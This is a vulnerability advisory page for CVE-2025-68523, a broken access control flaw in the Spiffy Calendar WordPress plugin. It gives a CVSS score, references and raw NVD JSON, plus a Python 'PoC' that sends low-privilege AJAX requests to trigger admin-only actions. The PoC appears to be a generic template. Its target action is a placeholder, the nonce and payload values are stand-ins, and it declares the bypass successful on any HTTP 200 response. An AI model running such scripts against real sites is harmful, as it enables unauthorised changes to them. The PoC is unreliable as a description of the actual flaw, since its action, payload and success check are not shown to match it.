CVE-2025-68523

Description

Missing Authorization vulnerability in Spiffy Plugins Spiffy Calendar spiffy-calendar allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Spiffy Calendar: from n/a through <= 5.0.7.

CVSS Details

CVSS Score

4.3

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Spiffy Calendar <= 5.0.7

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests
import sys

# CVE-2025-68523 PoC - Spiffy Calendar Broken Access Control
# Target: WordPress site with Spiffy Calendar plugin <= 5.0.7

TARGET_URL = "https://vulnerable-site.com"
WP_ADMIN_URL = f"{TARGET_URL}/wp-admin/admin-ajax.php"

# Low-privilege user session (subscriber role)
COOKIES = {
    'wordpress_test_cookie': 'WP+Cookie+check',
    'wordpress_logged_in_[hash]': 'user_session_token'
}

def exploit_broken_access_control():
    """
    This PoC demonstrates the missing authorization vulnerability.
    A low-privilege user can perform admin-only actions.
    """
    
    # Identify unprotected AJAX actions
    # Replace 'action_name' with actual vulnerable action discovered
    payload = {
        'action': 'spiffy_calendar_admin_action',
        'nonce': 'attacker_provided_or_missing_nonce',
        'event_id': 1,
        'event_data': 'malicious_payload'
    }
    
    print("[*] Sending exploit request...")
    try:
        response = requests.post(
            WP_ADMIN_URL,
            data=payload,
            cookies=COOKIES,
            timeout=10
        )
        
        if response.status_code == 200:
            print("[+] Request successful - Access Control bypassed!")
            print(f"[*] Response: {response.text[:500]}")
            return True
        else:
            print("[-] Request failed")
            return False
            
    except requests.exceptions.RequestException as e:
        print(f"[-] Error: {e}")
        return False

if __name__ == "__main__":
    exploit_broken_access_control()

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-68523
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-68523
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-68523/
[4] VulDB https://vuldb.com/cve/CVE-2025-68523
[5] https://patchstack.com/database/Wordpress/Plugin/spiffy-calendar/vulnerability/wordpress-spiffy-calendar-plugin-5-0-7-broken-access-control-vulnerability?_s_id=cve

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-68523", "sourceIdentifier": "[email protected]", "published": "2025-12-24T13:16:21.877", "lastModified": "2026-04-27T19:16:27.897", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Missing Authorization vulnerability in Spiffy Plugins Spiffy Calendar spiffy-calendar allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Spiffy Calendar: from n/a through <= 5.0.7."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/spiffy-calendar/vulnerability/wordpress-spiffy-calendar-plugin-5-0-7-broken-access-control-vulnerability?_s_id=cve", "source": "[email protected]"}]}}